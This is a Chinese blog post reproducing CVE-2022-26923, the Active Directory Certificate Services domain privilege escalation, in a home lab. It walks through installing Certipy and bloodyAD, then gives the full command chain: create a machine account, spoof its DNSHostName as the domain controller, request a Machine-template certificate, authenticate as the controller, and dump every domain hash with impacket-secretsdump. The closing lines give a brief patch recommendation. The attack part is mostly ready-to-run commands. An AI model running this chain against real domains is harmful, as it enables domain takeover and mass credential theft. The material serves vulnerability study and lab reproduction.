首页 > 系统相关 >CVE-2022-26923 Windows域提权漏洞

CVE-2022-26923 Windows域提权漏洞

时间:2023-01-01 15:46:09浏览次数:62  
标签:bloodyAD 2022 Windows 192.168 提权 install 报错 xming com

前言

Active Directory 域服务,是一种目录服务,提供了存储目录数据信息以及用户相关的一些密码,电话号码等等一些数据信息,且可让用户和管理员使用这些数据,有利于域管理员对用户的数据信息进行管理。
AD CS (Active Directory Certipy Server)是允许你构建公钥基础机构 (PKI) 并为你的组织提供公钥加密、数字证书和数字签名功能的服务器角色。

漏洞影响范围

Windows 8.1
Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
Windows 11
Windows Server 2008,2012,2016,2019,2022

环境搭建

kali ip:192.168.33.131
windows server 2012 ip: 192.168.33.144

windows server 2012网络配置,这里想改计算机全名但是忘记了,如果要好记得名字,可以安装域前先改掉

这里用到了windows server 2012的环境,首先搭建windows server 2012的AD域服务和域服务证书,这里安装步骤除了勾选的地方其他默认下一步

点击提升域控制,添加新林,然后下一步还原密码后安装重启

ADCS证书安装,添加功能,勾选AD证书服务,添加web证书颁发,开始安装

配置证书服务,在角色服务勾选证书机构和证书web注册,其他可以一直下一步,这里为了其他配置不一样的读者,就都放出来了,都一样的可以选择跳过

配置成功结果图

创建低权限AD用户,点击AD用户和计算机,点击本地域 ,查找User,双击进入,找到Administrator用户 ,点击左侧新建,新建用户

新建用户test,填写全名,输入密码,勾选其他密码选项,选择密码永不过期和不能更改密码

配置window7网络配置以及加入域,这里加入域xming.com,用户是在域控新建的test,密码是自己在域设置的密码(注:我这里只用到kali 和window server 2012就没多加win7,方便演示,想用win7的老铁可以参考以下win7配置)

kali配置
在kali需要两个工具 Certipy 和bloody

certipy配置
https://github.com/ly4k/Certipy  //工具所在网址
git clone https://github.com/ly4k/Certipy.git
cd Certipy
proxychains4 python3 setup.py install //配置代理安装(这里我用的是proxychains4的,也可以用proxychains,如果有的话)

这里我是直接去github下载再复制到kali,就跳过第二条命令

由于我这里因为pip没装,所以我又装了pip
pip安装的步骤参考此链接:https://www.cnblogs.com/BlogVice-2203/p/17011741.html

这里我遇到的报错是要pyopenssl>=22.0.0,所以我直接用pip install pyopenssl==22.0.0

然后再次安装有出现报错,说没有dsinternals,又得pip install dsinternals

如果没有遇到以下报错,就直接执行成功

配置bloodyAD
https://github.com/CravateRouge/bloodyAD
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
proxychains4 pip3 install -r requirements.txt

这里报错了,需要下载一个libkrb5-dev包
apt-get install libkrb5-dev

总结一下上面bloodyAD安装
先执行apt-get install libkrb5-dev
再执行proxychains4 pip3 install -r requirements.txt看看是否有报错
如果有就使用pip install 需要的安装包(如果有需要必要的版本可以 pip install 安装包==需要的版本号) 如上图所示
最后再执行proxychains4 pip3 install -r requirements.txt会发现没有报错就是执行成功。

执行python3 bloodyAD.py -h,发现安装成功,到此环境就搭建完成了

漏洞复现

执行以下代码之前需要运行
pip3 install certipy-ad

这是我的申请CA证书的poc
certipy req -username [email protected] -password zgm#1573 -ca xming-WIN-UE0S6A9DB79-CA -target WIN-UE0S6A9DB79.xming.com -template User

然后再执行
certipy auth -pfx test.pfx -dc-ip 192.168.33.144

创建及其账户到域

使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户
python3 bloodyAD.py -d xming.com -u test -p zgm#1573 --host 192.168.33.144  getObjectAttributes "DC=xming,DC=com"  ms-DS-MachineAccountQuota
这里一开始是报错 需要在/usr/local/lib/python3.10/dist-packages/ldap3/utils/ntlm.py 修改from Crypto.Hash import MD4 为 from Cryptodome.Hash import MD4 
没报错且运行出来的老铁可以不改

使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户

在LDAP中创建一个机器帐户,然后查看Active Directory 用户和计算机 点击computers 查看到test66是我们创建出来的机器账户

python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' addComputer test66 'jntm'
创建一个test66密码为jntm的机器账户

我们更新一下机器帐户的DNSHostName,但是这里出现了一个错误,我排除了一下是我们没有给DNS读取和写入的权限,勾选上两个权限,排除后重新执行就成功了

python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' setAttribute 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName '["WIN-UE0S6A9DB79.xming.com"]'


python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' getObjectAttributes 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName

我们这里就使用伪造的计算机账户进行证书申请,因为在计算机账户中,CA是使用DNSname的值来验证,如果这个值是域控的DNSname,CA就会认为是域控,这里为什么说只用计算机账户而不用用户账户(test),是因为用户账户的具有一个用户主体名称UPN(User Principal Name),UPN是具有唯一性不可变的,而计算机账户没有

根据MS-ADTS(3.1.1.5.1.3) 唯一性约束,UPN必须是唯一的,不能有两个具有相同UPN的用户

这里使用的是计算机账户模板(Machine),不再是User
certipy req -username test66\[email protected] -password jntm -ca xming-WIN-UE0S6A9DB79-CA -target xming.com -template Machine -debug

生成一个win-ue0s6a9db79.pfx
这里调了一个bug 我把kali的网关改为了192.168.33.144否则总是报错

certipy auth -pfx win-ue0s6a9db79.pfx -dc-ip 192.168.33.144

这里如果报错KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type),直接去重新启动一下你的AD CS而不是重启虚拟机(可以重启但可能登陆不进去)

获取所有域中的所有hash

impacket-secretsdump 'xming.com/[email protected]' -hashes :3fa24d31749f89de0db2449ab8014c79

PTH获取域控

![](/i/l/?n=23&i=blog/2913000/202301/2913000-20230101141133348-72226788.png)

总结与修复建议

总结:该漏洞是由于安装了域证书服务(AD CS),攻击者可以使用计算机账户模板(Machine)创建机器账户,更新dnsname为域控的dnsname,获取所有域hash,进一步拿到域控管理员权限
修复建议:安装微软给出的补丁 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
其中说到域证书服务和域服务可以不用安装到一台服务器,以规避风险

标签:bloodyAD,2022,Windows,192.168,提权,install,报错,xming,com
From: https://www.cnblogs.com/BlogVice-2203/p/17009069.html

相关文章

  • 202209-1 如此编码
    题意:第一行给定n和m,表示有n个题目,m表示依据这n个题目的答案计算的结果。第二行给定n个数A1,A2,……An,表示n个题目各自的选项个数。开辟A,B,C三个大小均为n+1的数组。Ci =......
  • 新年快乐!体验Windows7黄金版,祝你2023财源广进!
    新年快乐!体验Windows7黄金版,祝你2023财源广进!首先,开机画面表示出它的土豪,并说明,它并不来自Microsoft。然后:它是2016年出现的。改成64位的。然后许可:自定义:选分......
  • 2022年年终总结
    2022年是转行、成长的一年。2月14号从公司回来,脱产自学。要面对家里人及其他一些人所抱有的不解以至于不安,对那时的我来说并不是一件容易的事。在最开始的那段时间里,......
  • 告别2022刚哥准备在2023年干几件大事
    告别20222022年,因为反反复复的疫情,节奏被打得支离破碎。在12月份,政策放开,羊了个羊,发烧后,突然被按下暂停键,也让我看清楚了很多事情。2022年整体比较平淡,没有特别明显的上升......
  • 2022 最新 Spring 面试题(一)
    Spring面试题(一)​​1.为什么要使用spring?​​​​2.解释一下什么是Aop?​​​​3.解释一下什么是ioc?​​​​4.spring有哪些主要模块?​​​​5.spring常用的注入......
  • 联想小新+Windows10+Ubuntu18.04双系统安装+引导设置过程全记录
    写在前面双系统安装配置主要过程引导设置主要参考Ubuntu卸载需要的工具具体步骤情况一情况二主要参考后记2020.5.29更新关于卸载关于主题的配置写在前面又是折腾的一天,双系......
  • 2022年度总结
    2022年度总结科研上半年主要在科研,老师给了个题目,然后开始搞。开始主要是读论文、想idea、然后发现没意思或者做过了。有时候积累了一些想法,过几天就发现一点意思都没有......
  • Codeforces Round #841 (Div. 2) and Divide by Zero 2022 比赛总结
    vp的一场比赛,打得还行,有点慢。注意:前两道题的特色是答案需要\(\times2022\)输出。A.JoeyTakesMoney简单题,一定是\(n-1\)个\(1\)和一个\(\displaystyle\prod......
  • 2022年中国网络安全从业人员情况分析
    声明本文是学习​​2022中国白帽人才能力与发展状况调研报告.下载地址​​而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们研究背景随着网络安全实践......
  • 2022年中国网络安全从业人员情况分析
    声明本文是学习​​2022中国白帽人才能力与发展状况调研报告.下载地址​​而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们研究背景随着网络安全实践......